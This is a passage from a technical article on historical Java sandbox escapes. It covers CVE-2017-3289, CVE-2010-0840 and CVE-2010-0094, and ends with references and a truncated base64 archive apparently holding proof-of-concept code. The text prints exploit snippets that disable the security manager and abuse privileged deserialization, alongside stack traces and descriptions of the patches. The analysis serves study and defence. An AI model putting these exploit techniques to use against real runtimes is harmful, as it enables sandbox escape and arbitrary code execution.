bypassed, fields are initialized with default values (e.g, zero for integers, null for references). This is problematic since the interesting methods which normally allows to define a new class with all privileges will fail because the code will try to dereference a field which has not been properly initialized. After manual inspection it seems difficult to bypass the field dereference since all paths are going through the instruction dereferencing the non-initialized field. Leveraging the _ClassLoader_ seems to be a dead end. Non-initialized fields is a major challenge when using the vulnerability of CVE-2017-3289: in addition to the requirements for a target class to be public, non-final and non-restricted, its methods of interest should also not execute a method dereferencing uninitialized fields. We have not yet found useful helper code for Java version 1.8.0 update 112. To illustrate how the vulnerability of CVE-2017-3289 works we will show alternative helper code for exploits leveraging 0422 and 0431. Both exploits rely on _MBeanInstantiator_, a class that defines method findClass() which can load arbitrary classes. Class _MBeanInstantiator_ has only private constructors, so direct instantiation is not possible. Originally, these exploits use _JmxMBeanServer_ to create an instance of _MBeanInstantiator_. We will show that an analyst can directly subclass _MBeanInstantiator_ and use vulnerability 3289 to get an instance of it. The original helper code to instantiate _MBeanInstantiator_ relies on _JmxMBeanServer_ as shown below: --------------------------------------------------------------------------- 1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder(); 2: JmxMBeanServer server = 3: (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null); 4: MBeanInstantiator instantiator = server.getMBeanInstantiator(); --------------------------------------------------------------------------- The alternative code to instantiate _MBeanInstantiator_ leverages the vulnerability of CVE-2017-3289: --------------------------------------------------------------------------- 1: public class PoCMBeanInstantiator extends java.lang.Object { 2: public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) { 3: throw new RuntimeException(); 4: } 5: 6: public static Object get() { 7: return new PoCMBeanInstantiator(null); 8: } 9: } --------------------------------------------------------------------------- Note that since _MBeanInstantiator_ does not have any public constructor, _PoCMBeanInstantiator_ has to extend a dummy class, in our example _java.lang.Object_, in the source code. We use the ASM [28] bytecode manipulation library, to change the super class of _PoCMBeanInstantiator_ to _MBeanInstantiator_. We also use ASM to change the bytecode of the constructor to bypass the call to super.(*). Since Java 1.7.0 update 13, Oracle has added _com.sun.jmx._ as a restricted package. Class _MBeanInstantiator_ being in this package, it is thus not possible to reuse this helper code in later versions of Java. To our surprise, this vulnerability affects more than 40 different public releases. All Java 7 releases from update 0 to update 80 are affected. All Java 8 releases from update 5 to update 112 are also affected. Java 6 is not affected. By looking at the difference between the source code of the bytecode verifier of Java 6 update 43 and Java 7 update 0, we notice that the main part of the diff corresponds to the inverse of the patch presented above. This means that the condition under which a stack frame is assignable to a target stack frame within an exception handler in a constructor has been weakened. Comments in the diff indicate that this new code has been added via request 7020118 [26]. This request asked to update the code of the bytecode verifier in such a way that NetBeans' profiler can generate handlers to cover the entire code of a constructor. The vulnerability has been fixed by tightening the constraint under which the current stack frame -- in a constructor within a try/catch block -- can be assigned to the target stack frame. This effectively prevents bytecode from returning an uninitialized ``this'' object from the constructor. As far as we know, there are at least three publicly known _uninitialized instance_ vulnerabilities for Java. One is CVE-2017-3289 described in this paper. The second has been discovered in 2002 [29]. The authors also exploited a vulnerability in the bytecode verifier which enables to not call the constructor of the super class. They have not been able to develop an exploit to completely escape the sandbox. They were able, however, to access the network and read and write files to the disk. The third has been found by a research group at Princeton in 1996 [30]. Again, the problem is within the bytecode verifier. It allows for a constructor to catch exceptions thrown by a call to super() and return a partially initialized object. Note that at the time of this attack the class loader class did not have any instance variable. Thus, leveraging the vulnerability to instantiate a class loader gave a fully initialized class loader on which any method could be called. ------[ 4.2.3 - Discussion The root cause of this vulnerability is a modification of the C/C++ bytecode validation code which enables an analyst to craft Java bytecode which is able not to bypass the call to super() in a constructor of a subclass. This vulnerability directly violates the specification of the virtual machine [21]. However, this vulnerability is useless without appropriate _helper_ code. Oracle has developed static analysis tools to find dangerous gadgets and blacklist them [31]. This makes it harder for an analyst to develop an exploit bypassing the sandbox. Indeed, we have only found interesting gadgets that work with older versions of the JVM. Since they have been blacklisted in the latest versions, the attack does not work anymore. However, even though the approach relies on static analysis, it (1) may generate many false positives which makes it harder to identify real dangerous gadgets and (2) might have false negatives because it does not faithfuly model all specificities of the language, typically reflection and JNI, and thus is not sound. ----[ 4.3 - Trusted Method Chain ------[ 4.3.1 - Background Whenever a security check is performed in Java, the whole call stack is checked. Each frame of the call stack contains a method name identified by its class and method signature. The idea of a trusted method chain attack is to only have trusted classes on the call stack. To achieve this, an analyst typically relies on reflection features present in trusted classes to call target methods. That way, no application class (untrusted) will be on the call stack when the security check is done and the target methods will execute in a privileged context (typically to disable the security manager). In order for this approach to work the chain of methods has to be on a privileged thread such as the event thread. It will not work on the main thread because the class with the main method is considered untrusted and the security check will thus throw an exception. ------[ 4.3.2 - Example: CVE-2010-0840 This vulnerability is the first example of a trusted method chain attack against the Java platform [32]. It relies on the _java.beans.Statement_ class to execute target methods via reflection. The exploit injects a _JList_ GUI element ("A component that displays a list of objects and allows the user to select one or more items." [33]) to force the GUI thread to draw the new element. The exploit code is as follows: --------------------------------------------------------------------------- // target method Object target = System.class; String methodName = "setSecurityManager"; Object[] args = new Object[] { null }; Link l = new Link(target, methodName, args); final HashSet s = new HashSet(); s.add(l); Map h = new HashMap() { public Set entrySet() { return s; }; }; sList = new JList(new Object[] { h }); --------------------------------------------------------------------------- The target method is represented as a _Statement_ through the _Link_ object. The _Link_ class is not a class from the JCL but a class constructed by the analyst. The _Link_ class is a subclass of _Expression_ which is a subclass of _Statement_. The _Link_ object also implements, although in a fake way, the getValue() method of the _java.util.Map.Entry_ interface. It is not a real implementation of the _Entry_ interface because only the getValue() method is present. This "implementation" cannot be done with a normal javac compiler and has to be done by directly modifying the bytecode of the _Link_ class. --------------------------------------------------------------------------- interface Entry { [...] /** * Returns the value corresponding to this entry. If the mapping * has been removed from the backing map (by the iterator's * remove operation), the results of this call are * undefined. * * @return the value corresponding to this entry * @throws IllegalStateException implementations may, but are not * required to, throw this exception if the entry has been * removed from the backing map. */ V getValue(); [...] --------------------------------------------------------------------------- This interface has the getValue() method. It turns out that the _Expression_ class also has a getValue() method with the same signature. That is why at runtime calling Entry.getValue() on an object of type _Link_, faking the implementation of _Entry_, can succeed. --------------------------------------------------------------------------- // in AbstractMap public String toString() { Iterator> i = entrySet().iterator(); if (! i.hasNext()) return "{}"; StringBuilder sb = new StringBuilder(); sb.append('{'); for (;;) { Entry e = i.next(); K key = e.getKey(); V value = e.getValue(); sb.append(key == this ? "(this Map)" : key); sb.append('='); sb.append(value == this ? "(this Map)" : value); if (! i.hasNext()) return sb.append('}').toString(); sb.append(',').append(' '); } } --------------------------------------------------------------------------- The analyst aims at calling the AbstractMap.toString() method to call Entry.getValue() on the _Link_ object which calls the invoke() method: --------------------------------------------------------------------------- public Object getValue() throws Exception { if (value == unbound) { setValue(invoke()); } return value; } --------------------------------------------------------------------------- The invoke method executes the analyst's target method System.setSecurityManapger(null) via reflection to disable the security manager. The call stack when this method is invoked through reflection looks like this: --------------------------------------------------------------------------- at java.beans.Statement.invoke(Statement.java:235) at java.beans.Expression.getValue(Expression.java:98) at java.util.AbstractMap.toString(AbstractMap.java:487) at javax.swing.DefaultListCellRenderer.getListCellRendererComponent (DefaultListCellRenderer.java:125) at javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java:1337) at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.java:1287) at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251) at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227) at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143) at javax.swing.JComponent.paintComponent(JComponent.java:758) at javax.swing.JComponent.paint(JComponent.java:1022) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JLayeredPane.paint(JLayeredPane.java:564) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104) at javax.swing.BufferStrategyPaintManager.paint (BufferStrategyPaintManager.java:285) at javax.swing.RepaintManager.paint(RepaintManager.java:1128) at javax.swing.JComponent._paintImmediately(JComponent.java:5052) at javax.swing.JComponent.paintImmediately(JComponent.java:4862) at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:723) at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:679) at javax.swing.RepaintManager.seqPaintDirtyRegions (RepaintManager.java:659) at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run (SystemEventQueueUtilities.java:128) at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209) at java.awt.EventQueue.dispatchEvent(EventQueue.java:597) at java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.java:273) at java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.java:183) at java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.java:173) at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:168) at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:160) at java.awt.EventDispatchThread.run(EventDispatchThread.java:121) --------------------------------------------------------------------------- The first observation is that there are no untrusted class on the call stack. Any security check performed on the elements of the call stack will pass. As seen on the call stack above, the paint operation (RepaintManager.java:1128) ends up calling the getListCellRendererComponent() method (DefaultListCellRenderer.java:125). The _JList_ constructor takes as a parameter a list of the item elements. This method in turn calls the toString() method on the items. The first element being a _Map_ calls getValue() on all its items. The method getValue() calls Statement.invoke() which calls the analyst's target method via reflection. ------[ 4.3.3 - Discussion This vulnerability has been patched by modifying the Statement.invoke() method to perform the reflective call in the _AccessControlContext_ of the code which created the _Statement_. This exploit does not work on recent version of the JRE because the untrusted code which creates the _Statement_ does not have any permission. ----[ 4.4 - Serialization ------[ 4.4.1 - Background Java allows for transforming objects at runtime to byte streams, which is useful for persistence and network communications. Converting an object into a sequence of bytes is called serialiation, and the reverse process of converting a byte stream to an object is called deserialization, accordingly. It may happen that part of the deserialization process in done in a privileged context. An analyst can leverage this by instantiating objects that he would normally not be allowed to instantiate due to lacking permissions. A typical example is the class _java.lang.ClassLoader_. An analyst (always in the context of having no permission) cannot directly instantiate a subclass _S_ of _ClassLoader_ because the constructor of _ClassLoader_ checks whether the caller has permission CREATE_CLASSLOADER. However, if he finds a way to deserialize a serialized version of _S_ in a privileged context, he may end up having an instance of _S_. Note that the serialized version of _S_ can be created by the analyst outside the scope of an attack (e.g., on his own machine with a JVM with no sandbox). During the attack, the serialized version is just data representing an instance of _S_. In this section we show how to exploit CVE-2010-0094 to make use of system code that deserializes data provided by the analyst in a privileged context. This can be used to execute arbitrary code and thus bypass all sandbox restrictions. ------[ 4.4.2 - Example: CVE-2010-0094 The vulnerability CVE-2010-0094 [35] lies in method RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject). The fourth argument of type _MarshalledObject_ contains a byte representation of an object _S_ which is deserialized in a privileged context (within a call to doPrivileged() with all permissions). The analyst can pass an arbitrary object to createMBean() for deserialization. In our case, he passes a subclass of _java.lang.ClassLoader_: --------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable { } --------------------------------------------------------------------------- In a vulnerable version of the JVM (1.6.0_17 for instance), the call stack when object _S_ is instantiated is the following: --------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2: S(ClassLoader).() line: 226 [local variables unavailable] 4: GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available 6: Constructor.newInstance(Object...) line: 513 7: ObjectStreamClass.newInstance() line: 924 8: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1737 10: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject0(boolean) line: 1329 12: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject() line: 351 14: MarshalledObject.get() line: 142 15: RMIConnectionImpl$6.run() line: 1513 16: AccessController.doPrivileged(PrivilegedExceptionAction) line: not available [native method] 18: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class) line: 1505 20: RMIConnectionImpl.access$500(MarshalledObject, ClassLoader, Class) line: 72 22: RMIConnectionImpl$7.run() line: 1548 23: AccessController.doPrivileged(PrivilegedExceptionAction) line: not available [native method] 25: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class) line: 1544 27: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376 29: Exploit.exploit() line: 79 30: Exploit(BypassExploit).run_exploit() line: 24 31: ExploitBase.run(ExploitBase) line: 20 32: Exploit.main(String[]) line: 19 --------------------------------------------------------------------------- We observe that the deserialization happens within a privileged context (within a doPrivileged() at line 16 and line 23). Notice that it is the constructor of the _ClassLoader_ class ((), trusted code) which is on the stack and not the constructor of _S_ (the analyst class, untrusted code). Note that at line 2 "S(ClassLoader)" means that _ClassLoader_ is on the stack, not _S_. If _S_ would have been on the stack, the permission check in the _ClassLoader_ constructor would have thrown a security exception since untrusted code (thus without the permission) is on the stack. Why then is _S_ not on the call stack? The answer is given by the documentation of the serialization protocol [34]. It says that the constructor which is called is the first constructor of the class hierarchy not implementing the _Serializable_ interface. In our example _S_ implements _Serializable_ so its constructor is not called. _S_ extends _ClassLoader_ which does not implement _Serializable_. Thus, the empty constructor of _ClassLoader_ is called by the deserialization system code. As a consequence, the stack trace only contains trusted system classes on the stack within the privileged context (there can be untrusted code after doPrivileged() since a permission check will stop at the doPrivileged() method when checking the call stack). The permission check in the _ClassLoader_ will succeed. However, later in the system code, this instance of _S_ is cast to a type which is nor _S_, neither _ClassLoader_. So, how can the analyst retrieve this instance? One solution is to add a static field to _S_ as well as a method to the _S_ class to save the reference of the instance of _S_ in the static field: --------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable { public static S myCL = null; private void readObject(java.io.ObjectInputStream in) throws Throwable { S.myCL = this; } } --------------------------------------------------------------------------- The readObject() method is a special method called during deserialization (by readOrdinaryObject() at line 8 in the above call stack). No permission check is done at this point, so untrusted code (S.readObject() method) can be on the call stack. The analyst now has access to an instance of _S_. Since _S_ is a subclass of _ClassLoader_, the analyst can define a new class with all privileges and disable the security manager (similar approach as in Section 3.1.1). At this point, the sandbox is disabled and the analyst can execute arbitrary code. This vulnerability affects 14 versions of Java 1.6 (from version 1.6.0_01 to 1.6.0_18). It has been corrected in version 1.6.0_24. The combination of the following "features" enables the analyst to bypass the sandbox: (1) trusted code allows deserialization of data controlled by untrusted code, (2) deserialization is taking place in a privileged context, and (3) creating an object by means of deserialization follows a different procedure than regular object instantiation. The vulnerability CVE-2010-0094 has been fixed in Java 1.6.0 update 24. The two calls to doPrivileged() have been removed from the code. In the patched version, when _ClassLoader_ is initialized, the permission check fails since the whole call stack is now checked (see the new call stack below). Untrusted code at lines 21 and below does not have permission CREATE_CLASSLOADER. --------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2: MyClassLoader(ClassLoader).() line: 226 [local variables unavailable] 4: GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available 6: Constructor.newInstance(Object...) line: 513 7: ObjectStreamClass.newInstance() line: 924 8: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1736 10: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject0(boolean) line: 1328 12: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject() line: 350 14: MarshalledObject.get() line: 142 15: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class) line: 1523 17: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class) line: 1559 19: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376 21: Exploit.exploit() line: 79 22: Exploit(BypassExploit).run_exploit() line: 24 23: ExploitBase.run(ExploitBase) line: 20 24: Exploit.main(String[]) line: 19 --------------------------------------------------------------------------- ------[ 4.4.3 - Discussion This vulnerability shows that specificities of the serialization protocol (only a specific constructor is called) can be exploited together with vulnerable system code that deserializes analyst-controlled data in a privileged context to bypass the sandbox and run arbitrary code. As the serialization protocol cannot be easily modified for backward compatibility reasons, the vulnerable code has been patched. --[ 5 - Conclusion In this article, we focused on the Java platform's complex security model, which has been attacked for roughly two decades now. We showed that the platform comprises native components (like the Java virtual machine), as well as a large body of Java system classes (the JCL), and that there has been a broad range of different attacks on both parts of the system. This includes low-level attacks such as memory corruption vulnerabilities on the one hand, but also Java-level attacks on policy enforcement, like trusted-method-chaining attacks for example. This highlights how difficult a task it is to secure the platform for practical use. We presented this article as a case study to illustrate how a complex system such as the Java platform fails at securely containing the execution of potentially malicious code. Hopefully, this overview of past Java exploits provides insights that help us design more robust systems in the future. --[ 6 - References [1] Aleph One. "Smashing The Stack For Fun And Profit." Phrack 49 1996 [2] Oracle. "The History of Java Technology." http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-19 8355.html, 2018 [3] Drew Dean, Edward W. Felten, Dan S. Wallach. "Java security: From HotJava to Netscape and beyond." In Security & Privacy, IEEE, 1996 [4] Joshua J. Drake. "Exploiting memory corruption vulnerabilities in the java runtime." 2011 [5] Esteban Guillardoy. "Java 0day analysis (CVE-2012-4681)." https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4 681.html, 2012 [6] Jeong Wook Oh. "Recent Java exploitation trends and malware." Presentation at Black Hat Las Vegas, 2012 [7] Security Explorations. "Oracle CVE ID Mapping SE - 2012 - 01, Security vulnerabilities in Java SE." 2012 [8] Brian Gorenc, Jasiel Spelman. "Java every-days exploiting software running on 3 billion devices." In Proceedings of BlackHat security conference, 2013 [9] Xiao Lee and Sen Nie. "Exploiting JRE - JRE Vulnerability: Analysis & Hunting." Hitcon, 2013 [10] Matthias Kaiser. "Recent Java Exploitation Techniques." HackPra, 2013 [11] Google, https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html. "The Final Countdown for NPAPI." 2014 [12] Mozilla, https://blog.mozilla.org/futurereleases/2015/10/08/npapi-plugins-in-firefox /. "NPAPI Plugins in Firefox." 2015 [13] Alexandre Bartel, Jacques Klein, Yves Le Traon. "Exploiting CVE-2017-3272." In Multi-System & Internet Security Cookbook (MISC), May 2018 [14] Red Hat. "CVE-2017-3272 OpenJDK: insufficient protected field access checks in atomic field updaters (Libraries, 8165344)." Bugzilla - Bug 1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017 [15] Norman Maurer. "Lesser known concurrent classes - Atomic*FieldUpdater." In http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part -1/ [16] Jeroen Frijters. "Arraycopy HotSpot Vulnerability Fixed in 7u55 (CVE-2014-0456)." In IKVM.NET Weblog, 2014 [17] NIST. "CVE-2016-3587." https://nvd.nist.gov/vuln/detail/CVE-2016-3587 [18] Vincent Lee. "When Java throws you a Lemon, make Limenade: Sandbox escape by type confusion." In https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lem on-make-limenade-sandbox-escape-by-type-confusion [19] Red Hat. "CVE-2015-4843 OpenJDK: java.nio Buffers integer overflow issues (Libraries, 8130891)." Bugzilla - Bug 1273053 https://bugzilla.redhat.com/show_bug.cgi?id=1273053, 2015 [20] Alexandre Bartel. "Exploiting CVE-2015-4843." In Multi-System & Internet Security Cookbook (MISC), January 2018 [21] Oracle. "The Java Virtual Machine Specification, Java SE 7 Edition: 4.10.2.4. Instance initialization methods and newly created objects." http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html#jvms-4.10.2.4, 2013 [22] National Vulnerability Database. "Vulnerability summary for cve-2017-3289." https://nvd.nist.gov/vuln/detail/CVE-2017-3289 [23] Redhat. "Bug 1413562 - (cve-2017-3289) cve-2017-3289 openjdk: insecure class construction (hotspot, 8167104)." https://bugzilla.redhat.com/show bug.cgi?id=1413562. [24] OpenJDK. "Openjdk changeset 8202:02a3d0dcbedd jdk8u121-b08 8167104: Additional class construction refinements." http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd. [25] Oracle. "The java virtual machine specification, java se 7 edition: 4.7.4. the stackmaptable attribute." http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html#jvms-4.7.4, 2013 [26] "Request for review (s): 7020118." http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/00 1866.html [27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden. "An in-depth study of more than ten years of java exploitation." In Proceedings of the 23rd ACM Conference on Computer and Communications [28] Eric Bruneton. "ASM, a Java bytecode engineering library." http://download.forge.objectweb.org/asm/asm-guide.pdf [29] LSD Research Group et al.. "Java and java virtual machine security, vulnerabilities and their exploitation techniques." In Black Hat Briefings, 2002 [30] Drew Dean, Edward W Felten, and Dan S Wallach. "Java security: From hotjava to netscape and beyond." In Proceedings, IEEE Symposium on Security and Privacy, 1996, pages 190-200 [31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao, Manuel Valdiviezo, and Andrew Gross. "Translating java into llvm ir to detect security vulnerabilities." In LLVM Developer Meeting, 2014 [32] Sami Koivu. "Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)." [33] Oracle. "JList." https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html [34] Oracle. "Interface Serializable." https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html [35] Sami Koivu, Matthias Kaiser. "CVE-2010-0094." https://github.com/rapid7/metasploit-framework/tree/master/external/source/ exploits/CVE-2010-0094 --[ 7 - Attachments >>>base64-begin code.zip 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 